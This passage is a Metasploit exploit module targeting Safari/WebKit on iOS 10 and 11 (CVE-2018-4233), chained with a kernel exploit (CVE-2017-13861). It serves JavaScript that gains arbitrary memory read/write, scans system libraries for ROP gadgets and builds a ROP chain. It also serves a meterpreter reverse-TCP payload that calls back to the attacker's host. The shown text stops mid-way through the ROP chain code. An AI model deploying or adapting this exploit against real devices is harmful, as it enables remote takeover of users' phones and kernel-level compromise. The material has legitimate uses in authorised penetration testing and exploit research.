##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Safari Webkit Proxy Object Type Confusion',
        'Description' => %q{
          This module exploits a type confusion bug in the Javascript Proxy object in
          WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
          it is possible to run arbitrary JS code during the execution of a CreateThis
          operation. This makes it possible to change the structure of e.g. an argument
          without causing a bailout, leading to a type confusion (CVE-2018-4233).

          The type confusion leads to the ability to allocate fake Javascript objects,
          as well as the ability to find the address in memory of a Javascript object.
          This allows us to construct a fake JSCell object that can be used to read
          and write arbitrary memory from Javascript.  The module then uses a ROP chain
          to write the first stage shellcode into executable memory within the Safari
          process and kick off its execution.

          The first stage maps the second stage macho (containing CVE-2017-13861) into
          executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake
          exploit leads to a kernel task port (TFP0) that can read and write arbitrary
          kernel memory. The processes credential and sandbox structure in the kernel
          is overwritten and the meterpreter payloads code signature hash is added to
          the kernels trust cache, allowing Safari to load and execute the (self-signed)
          meterpreter payload.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'saelo',
          'niklasb',
          'Ian Beer',
          'siguza',
        ],
        'References' => [
          ['CVE', '2018-4233'],
          ['CVE', '2017-13861'],
          ['URL', 'https://github.com/saelo/cve-2018-4233'],
          ['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],
          ['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],
        ],
        'Arch' => ARCH_AARCH64,
        'Platform' => 'apple_ios',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
        'Targets' => [[ 'Automatic', {} ]],
        'DisclosureDate' => '2018-03-15',
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        }
      )
    )
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit JavaScript', false]),
      OptBool.new('DUMP_OFFSETS', [false, 'Show newly found offsets in a JavaScript prompt', false]),
    ])
  end

  def payload_url
    "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
  end

  def get_version(user_agent)
    if user_agent =~ /OS (.*?) like Mac OS X\)/
      ios_version = Rex::Version.new(::Regexp.last_match(1).gsub('_', '.'))
      return ios_version
    end

    fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
  end

  def get_mem_rw_ios_10
    %^
function get_mem_rw(stage1) {
    var structs = [];
    function sprayStructures() {
        function randomString() {
            return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)
        }
        for (var i = 0; i < 4096; i++) {
            var a = new Float64Array(1);
            a[randomString()] = 1337;
            structs.push(a)
        }
    }
    sprayStructures();
    var hax = new Uint8Array(4096);
    var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);
    var container = {
        jsCellHeader: jsCellHeader.asJSValue(),
        butterfly: false,
        vector: hax,
        lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()
    };
    var address = Add(stage1.addrof(container), 16);
    var fakearray = stage1.fakeobj(address);
    while (!(fakearray instanceof Float64Array)) {
        jsCellHeader.assignAdd(jsCellHeader, Int64.One);
        container.jsCellHeader = jsCellHeader.asJSValue()
    }
    memory = {
        read: function(addr, length) {
            fakearray[2] = i2f(addr);
            var a = new Array(length);
            for (var i = 0; i < length; i++) a[i] = hax[i];
            return a
        },
        readInt64: function(addr) {
            return new Int64(this.read(addr, 8))
        },
        write: function(addr, data) {
            fakearray[2] = i2f(addr);
            for (var i = 0; i < data.length; i++) hax[i] = data[i]
        },
        writeInt64: function(addr, val) {
            return this.write(addr, val.bytes())
        },
    };
    var empty = {};
    var header = memory.read(stage1.addrof(empty), 8);
    memory.write(stage1.addrof(container), header);
    var f64array = new Float64Array(8);
    header = memory.read(stage1.addrof(f64array), 16);
    memory.write(stage1.addrof(fakearray), header);
    memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);
    fakearray.container = container;
    return memory;
}
^
  end

  def get_mem_rw_ios_11
    %^
function get_mem_rw(stage1) {
    var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;
    var structure_spray = []
    for (var i = 0; i < 1000; ++i) {
        var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}
        ary['prop'+i] = 1
        structure_spray.push(ary)
    }
    var manager = structure_spray[500]
    var leak_addr = stage1.addrof(manager)
    //print('leaking from: '+ hex(leak_addr))
    function alloc_above_manager(expr) {
        var res
        do {
            for (var i = 0; i < ALLOCS; ++i) {
                structure_spray.push(eval(expr))
            }
            res = eval(expr)
        } while (stage1.addrof(res) < leak_addr)
        return res
    }
    var unboxed_size = 100
    var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')
    var boxed = alloc_above_manager('[{}]')
    var victim = alloc_above_manager('[]')
    // Will be stored out-of-line at butterfly - 0x10
    victim.p0 = 0x1337
    function victim_write(val) {
        victim.p0 = val
    }
    function victim_read() {
        return victim.p0
    }
    i32[0] = 0x200                // Structure ID
    i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing
    var outer = {
        p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned
        p1: f64[0],
        p2: manager,
        p3: 0xfffffff, // Butterfly indexing mask
    }
    var fake_addr = stage1.addrof(outer) + FPO + 0x8;
    //print('fake obj @ ' + hex(fake_addr))
    var unboxed_addr = stage1.addrof(unboxed)
    var boxed_addr = stage1.addrof(boxed)
    var victim_addr = stage1.addrof(victim)
    //print('leak ' + hex(leak_addr)
        //+ ' unboxed ' + hex(unboxed_addr)
        //+ ' boxed ' + hex(boxed_addr)
        //+ ' victim ' + hex(victim_addr))
    var holder = {fake: {}}
    holder.fake = stage1.fakeobj(fake_addr)
    // From here on GC would be uncool
    // Share a butterfly for easier boxing/unboxing
    var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])
    var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]
    holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)
    var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]
    function set_victim_addr(where) {
        holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)
    }
    function reset_victim_addr() {
        holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly
    }
    var stage2 = {
        addrof: function(victim) {
            boxed[0] = victim
            return f2i(unboxed[0])
        },
        fakeobj: function(addr) {
            unboxed[0] = i2f(addr)
            return boxed[0]
        },
        write64: function(where, what) {
            set_victim_addr(where)
            victim_write(this.fakeobj(what))
            reset_victim_addr()
        },
        read64: function(where) {
            set_victim_addr(where)
            var res = this.addrof(victim_read())
            reset_victim_addr()
            return res;
        },
        write_non_zero: function(where, values) {
            for (var i = 0; i < values.length; ++i) {
                if (values[i] != 0)
                    this.write64(where + i*8, values[i])
            }
        },
        readInt64: function(where) {
            if (where instanceof Int64) {
                where = Add(where, 0x10);
                holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();
            } else {
                set_victim_addr(where);
            }
            boxed[0] = victim_read();
            var res = f2i(unboxed[0]);
            reset_victim_addr();
            return new Int64(res);
        },
        read: function(addr, length) {
            var address = new Int64(addr);
            var a = new Array(length);
            var i;

            for (i = 0; i + 8 < length; i += 8) {
                v = this.readInt64(Add(address, i)).bytes()
                for (var j = 0; j < 8; j++) {
                    a[i+j] = v[j];
                }
            }

            v = this.readInt64(Add(address, i)).bytes()
            for (var j = i; j < length; j++) {
                a[j] = v[j - i];
            }

            return a
        },
        test: function() {
            this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie
            if (0xfff != this.read64(boxed_addr + 0x10)) {
                fail(2)
            }
        },
    }
    // Test read/write
    stage2.test()
    return stage2;
}
^
  end

  # rubocop:disable Metrics/MethodLength
  def on_request_uri(cli, request)
    return if request.uri =~ %r{/apple-touch-icon*}
    return if request.uri =~ %r{/favicon*}

    if request.uri =~ %r{/payload10$*}
      payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1
      send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })
      print_good('Sent sha1 iOS 10 payload')
      return
    end

    if request.uri =~ %r{/payload11$*}
      payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib
      send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })
      print_good('Sent sha256 iOS 11 payload')
      return
    end

    user_agent = request['User-Agent']
    print_status("Requesting #{request.uri} from #{user_agent}")

    if request.uri =~ %r{/exploit$}
      loader_data = exploit_data('CVE-2017-13861', 'exploit')
      srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
      config = [srvhost, srvport].pack('Nn') + payload_url
      payload_url_index = loader_data.index('PAYLOAD_URL')
      loader_data[payload_url_index, config.length] = config
      print_good('Sent async_wake exploit')
      send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    dump_offsets = ''
    if datastore['DUMP_OFFSETS']
      dump_offsets = %^
        var offsetstr = uuid + " : { ";
        var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",
        "__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];
        for (var i = 0; i < offsetarray.length; i++) {
            var offset = offsets[offsetarray[i]];
            if (offset) {
                var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");
                offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";
            }
        }
        offsetstr += "}, ";
        prompt("offsets: ", offsetstr);
^
    end

    version = get_version(user_agent)
    ios_11 = (version >= Rex::Version.new('11.0.0'))

    get_mem_rw = (version >= Rex::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10

    utils = exploit_data('javascript_utils', 'utils.js')
    int64 = exploit_data('javascript_utils', 'int64.js')

    html = %^
<html>
<body>
<script>

#{utils}
#{int64}

print = alert;
ITERS = 1E4;
ALLOCS = 1E3;

var conversion_buffer = new ArrayBuffer(8);
var f64 = new Float64Array(conversion_buffer);
var i32 = new Uint32Array(conversion_buffer);
var BASE32 = 0x100000000;

function f2i(f) {
    f64[0] = f;
    return i32[0] + BASE32 * i32[1];
}

function i2f(i) {
    i32[0] = i % BASE32;
    i32[1] = i / BASE32;
    return f64[0];
}

function hexit(x) {
    if (x instanceof Int64) return x.toString();
    if (x < 0) return "-" + hex(-x);
    return "0x" + x.toString(16);
}

function fail(x) {
    print('FAIL ' + x);
    location.reload();
    throw null;
}

counter = 0;

// CVE-2018-4233
function trigger(constr, modify, res, val) {
    return eval(`
    var o = [13.37]
    var Constructor${counter} = function(o) { ${constr} }
    var hack = false
    var Wrapper = new Proxy(Constructor${counter}, {
        get: function() {
            if (hack) {
                ${modify}
            }
        }
    })
    for (var i = 0; i < ITERS; ++i)
        new Wrapper(o)
    hack = true
    var bar = new Wrapper(o)
    ${res}
    `)
}

var workbuf = new ArrayBuffer(0x1000000);
var payload = new Uint8Array(workbuf);

function pwn() {
    var stage1 = {
        addrof: function(victim) {
            return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))
        },
        fakeobj: function(addr) {
            return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))
        },
        test: function() {
            var addr = this.addrof({
                a: 4919
            });
            var x = this.fakeobj(addr);
            if (x.a != 4919) fail("stage1")
        }
    };
    stage1.test();

    var stage2 = get_mem_rw(stage1);
    var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : '0x18;'}
    var memory = stage2;
    memory.u32 = _u32;

    var wrapper = document.createElement("div");
    var wrapper_addr = stage1.addrof(wrapper);
    var el_addr = memory.readInt64(wrapper_addr + FPO);
    var vtab = memory.readInt64(el_addr);

    var anchor = memory.readInt64(vtab);
    var hdr = Sub(anchor, anchor.lo() & 0xfff);
    var b = [];
    while(true)
    {
        if (memory.readInt64(hdr).lo() == 4277009104) {
          fail('WebCore ' + hdr + ' post spectre support coming soon');
        }
        if(strcmp(memory.read(hdr, 0x10), "dyld_v1   arm64"))
        {
            break;
        }
        hdr = Sub(hdr, 0x1000);
    }

    var base_seg = null;
    var nsegs    = memory.u32(Add(hdr, 0x14));
    var segdata  = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);
    var segs     = [];
    for(var i = 0; i < nsegs; ++i)
    {
        var off = i * 0x20;
        var seg =
        {
            addr:     new Int64(segdata.slice(off +  0x0, off +  0x8)),
            size:     new Int64(segdata.slice(off +  0x8, off + 0x10)),
            fileoff:  new Int64(segdata.slice(off + 0x10, off + 0x18)),
            maxprot:  b2u32(segdata.slice(off + 0x18, off + 0x1c)),
            initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))
        };
        segs.push(seg);
        if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))
        {
            base_seg = seg;
        }
    }
    if(base_seg == null)
    {
        fail("base_seg");
    }

    var cache_slide = Sub(hdr, base_seg.addr);
    var uuid = memory.readInt64(Add(hdr, 0x58)).lo();
    var offset_cache = {
        // iPod Touch 10.1.1
        788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,
        "__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },

        // iPhone 5S 10.2.1
        3432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,
        "__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },

        // iPhone 6S 11.0.3
        425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,
        "ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },
    };

    var offsets = offset_cache[uuid];
    if (offsets)
    {
        var k = Object.keys(offsets);
        for(var i = 0; i < k.length; ++i)
        {
            var s = k[i];
            offsets[s] = Add(offsets[s], cache_slide);
        }
    }
    else
    {
        var syms = {};
        var gadgets = {};

        for(var i = 0; i < segs.length; ++i)
        {
            segs[i].addr = Add(segs[i].addr, cache_slide);
        }
        var libs =
        {
            "/usr/lib/system/libdyld.dylib":                                        ["_dlsym", "_dlopen"],
            #{ if ios_11
                 '
            "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore":   ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],
            "/usr/lib/system/libsystem_platform.dylib":                             ["__longjmp"],
            '
               else
                 '
            "/usr/lib/system/libsystem_platform.dylib":                             ["__longjmp", "__platform_memmove"],
            "/usr/lib/system/libsystem_kernel.dylib":                               ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
            "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore":   ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],
            '
               end}
        }

        #{ if ios_11
             '
        var opcodes = {
            // ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret
            "ldrx8":     [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],
            // blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
            "dispatch":  [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],
            // mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8
            "regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],
            // ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
            // ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
            "stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],
            // mov x4, x20 ; blr x8
            "movx4":     [ [ 0xaa1403e4, 0xd63f0100 ] ],
        }
        var opcode_libs = [
            "/usr/lib/PN548.dylib",     // dispatch, stackloader
            "/usr/lib/libc++.1.dylib",  // ldrx8, regloader, movx4, stackloader
        ];

        '
           else
             '
        var opcodes = {
            // mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28
            "regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],
            "dispatch": [
                // blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
                [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],
                // blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret
                [ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],
            ],
            "stackloader": [
                // ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
                // ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
                [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],
                // sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];
                // ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret
                [ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],
            ],
        };

        var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];
        '
           end}

        var imgs  = Add(hdr, memory.u32(Add(hdr, 0x18)));
        var nimgs = memory.u32(Add(hdr, 0x1c));
        for(var i = 0; i < nimgs; ++i)
        {
            var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));
            var fn = function(i)
            {
                return memory.read(Add(straddr, i), 1)[0];
            };
            var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);
            if(opcode_libs.some(lib => strcmp(fn, lib)))
            {
                var ncmds = memory.u32(Add(base, 0x10));
                for(var j = 0, off = 0x20; j < ncmds; ++j)
                {
                    var cmd = memory.u32(Add(base, off));
                    if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64
                    {
                        var nsects = memory.u32(Add(base, off + 0x40));
                        for(var k = 0, o = off + 0x48; k < nsects; ++k)
                        {
                            if(strcmp(memory.read(Add(base, o), 0x10), "__text"))
                            {
                                var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])
                                if (keys.length == 0) break;

                                var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)
                                var size = memory.u32(Add(base, o + 0x28))

                                // Copy the entire __text region into a Uint32Array for faster processing.
                                // Previously you could map a Uint32Array over the data, but on i7+ devices
                                // this caused access violations.
                                // Instead we read the entire region and copy it into a Uint32Array. The
                                // memory.read primitive has a weird limitation where it's only able to read
                                // up to 4096 bytes. to get around this we'll read multiple times and combine
                                // them into one.

                                var allData = new Uint32Array(size / 4)
                                for (var r = 0; r < size; r += 4096) {
                                    // Check to ensure we don't read out of the region we want
                                    var qty = 4096
                                    if (size - r < qty) {
                                        qty = size - r
                                    }
                                    var data = memory.read(Add(addr, r), qty)

                                    // Data is an array of single bytes. This code takes four entries
                                    // and converts them into a single 32-bit integer. It then adds it
                                    // into the `allData` array at the given index
                                    for (var h = 0; h < qty; h += 4) {
                                        var fourBytes = b2u32(data.slice(h, h + 4))
                                        allData[(r + h) / 4] = fourBytes
                                    }
                                }

                                // Loop through the entire data map looking for each gadget we need
                                for (var f = 0; f < size && keys.length > 0; f++) {

                                    // Check every gadget
                                    for (var z = 0; z < keys.length; z++) {
                                        var key = keys[z];
                                        var opcode_list = opcodes[key];
                                        for (var y = 0; y < opcode_list.length; y++) {
                                            var opcode = opcode_list[y];
                                            for (var t = 0; t < opcode.length; t++) {
                                                var op = allData[f+t];
                                                if (op == opcode[t]) {
                                                    if (t == opcode.length - 1) {
                                                        gadgets[key] = Add(addr, f*4);
                                                        keys.splice(z, 1);
                                                        z = keys.length;
                                                        break;
                                                    }
                                                    continue;
                                                }
                                                break;
                                            }
                                        }
                                    }
                                }

                                break;
                            }
                            o += 0x50;
                        }
                        break;
                    }
                    off += memory.u32(Add(base, off + 0x4));
                }
                continue;
            }
            var lookup = null;
            for(var k = Object.keys(libs), j = 0; j < k.length; ++j)
            {
                if(strcmp(fn, k[j]))
                {
                    lookup = libs[k[j]];
                    break;
                }
            }
            if(lookup != null)
            {
                fsyms(memory, base, segs, lookup, syms);
            }
        }

        var vals = Object.keys(libs).map(function(key) {
            return libs[key];
        });
        var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);
        for(var i = 0; i < k.length; ++i)
        {
            var s = k[i];
            if(syms[s] == null)
            {
                fail(s);
            }
            syms[s] = Add(syms[s], cache_slide);
        }
        k = Object.keys(opcodes);
        for(var i = 0; i < k.length; ++i)
        {
            var s = k[i];
            if(gadgets[s] == null)
            {
                fail(s);
            }
        }

        offsets = {}
        offsets["regloader"] =                                   gadgets["regloader"];
        offsets["dispatch"] =                                    gadgets["dispatch"];
        offsets["stackloader"] =                                 gadgets["stackloader"];
        offsets["ldrx8"] =                                       gadgets["ldrx8"];
        offsets["movx4"] =                                       gadgets["movx4"];
        offsets["__longjmp"] =                                      syms["__longjmp"];
        offsets["__kernelrpc_mach_vm_protect_trap"] =               syms["__kernelrpc_mach_vm_protect_trap"];
        offsets["__platform_memmove"] =                             syms["__platform_memmove"];
        offsets["_dlopen"] =                                        syms["_dlopen"];
        offsets["_dlsym"] =                                         syms["_dlsym"];
        offsets["_mach_task_self_"] =                               syms["_mach_task_self_"];
        offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] =    syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
        offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] =      syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
        offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]  =      syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];

        if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {
            offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);
        }
        #{ if ios_11
             '
        if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {
            offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);
        }'
           end}

#{dump_offsets}

    }


    var regloader           = offsets["regloader"];
    var dispatch            = offsets["dispatch"];
    var stackloader         = offsets["stackloader"];
    var longjmp             = offsets["__longjmp"];
    var mach_vm_protect     = offsets["__kernelrpc_mach_vm_protect_trap"];
    var memmove             = offsets["__platform_memmove"];
    var dlopen              = offsets["_dlopen"];
    var dlsym               = offsets["_dlsym"];
    var task_self           = offsets["_mach_task_self_"]
    var endOfFixedMem       = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
    var startOfFixedMem     = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];

    var ldrx8               = offsets["ldrx8"]; // might be null
    var movx4               = offsets["movx4"]; // might be null

    var mach_task_self_     = new Int64(memory.readInt64(task_self).lo());
    var memPoolEnd          = memory.readInt64(endOfFixedMem);

    var memPoolStart        = Int64.Zero;
    if (startOfFixedMem) {
        memPoolStart = memory.readInt64(startOfFixedMem);
    }

    var jitWriteSeparateHeaps = Int64.Zero;
    if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {
        jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);
    }

    var shsz = new Int64("0x100000");
    var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));
    var codeAddr = Sub(memPoolEnd, shsz);
    codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);

    memory.writeInt64(Add(vtab, 0x18), longjmp);
    memory.writeInt64(Add(el_addr, 0x58), stackloader);        // x30 (gadget)

    var arrsz = 0x100000,
        off   =   0x1000;
    var arr   = new Uint32Array(arrsz);
    var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));

    var pos = arrsz - off;

    var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {
        x4 = x4 || Int64.Zero

        // in stackloader:
        arr[pos++] = 0xdead0010;                // unused
        arr[pos++] = 0xdead0011;                // unused
        arr[pos++] = 0xdead0012;                // unused
        arr[pos++] = 0xdead0013;                // unused
        arr[pos++] = dispatch.lo();             // x28 (gadget for regloader)
        arr[pos++] = dispatch.hi();             // x28 (gadget for regloader)
        arr[pos++] = 0xdead0014;                // x27 (unused)
        arr[pos++] = 0xdead0015;                // x27 (unused)
        arr[pos++] = x4.lo();                   // x26 == x4 (arg5)
        arr[pos++] = x4.hi();                   // x26 == x4 (arg5)
        arr[pos++] = x3.lo();                   // x25 == x3 (arg4)
        arr[pos++] = x3.hi();                   // x25 == x3 (arg4)
        arr[pos++] = x2.lo();                   // x24 == x2 (arg3)
        arr[pos++] = x2.hi();                   // x24 == x2 (arg3)
        arr[pos++] = x0.lo();                   // x23 == x0 (arg1)
        arr[pos++] = x0.hi();                   // x23 == x0 (arg1)
        arr[pos++] = x1.lo();                   // x22 == x1 (arg2)
        arr[pos++] = x1.hi();                   // x22 == x1 (arg2)
        arr[pos++] = func.lo();                 // x21 (func)
        arr[pos++] = func.hi();                 // x21 (func)
        arr[pos++] = 0xdbad0018;                // x20 (unused)
        arr[pos++] = 0xdbad0019;                // x20 (unused)
        arr[pos++] = 0xdead001a;                // x19 (unused)
        arr[pos++] = 0xdead001b;                // x19 (unused)
        var tmppos = pos;
        arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29
        arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29
        arr[pos++] = regloader.lo();            // x30 (first gadget)
        arr[pos++] = regloader.hi();            // x30 (first gadget)

        // after dispatch:
        arr[pos++] = 0xdead0020;                // unused
        arr[pos++] = 0xdead0021;                // unused
        arr[pos++] = 0xdead0022;                // unused
        arr[pos++] = 0xdead0023;                // unused
        arr[pos++] = 0xdead0024;                // x22 (unused)
        arr[pos++] = 0xdead0025;                // x22 (unused)
        arr[pos++] = 0xdead0026;                // x21 (unused)
        arr[pos++] = 0xdead0027;                // x21 (unused)
        arr[pos++] = 0xdead0028;                // x20 (unused)
        arr[pos++] = 0xdead0029;                // x20 (unused)
        arr[pos++] = 0xdead002a;                // x19 (unused)
        arr[pos++] = 0xdead002b;                // x19 (unused)
        tmppos = pos;
        arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29
        arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29
        arr[pos++] = jump_to.lo();              // x30 (gadget)
        arr[pos++] = jump_to.hi();              // x30 (gadget)
    }

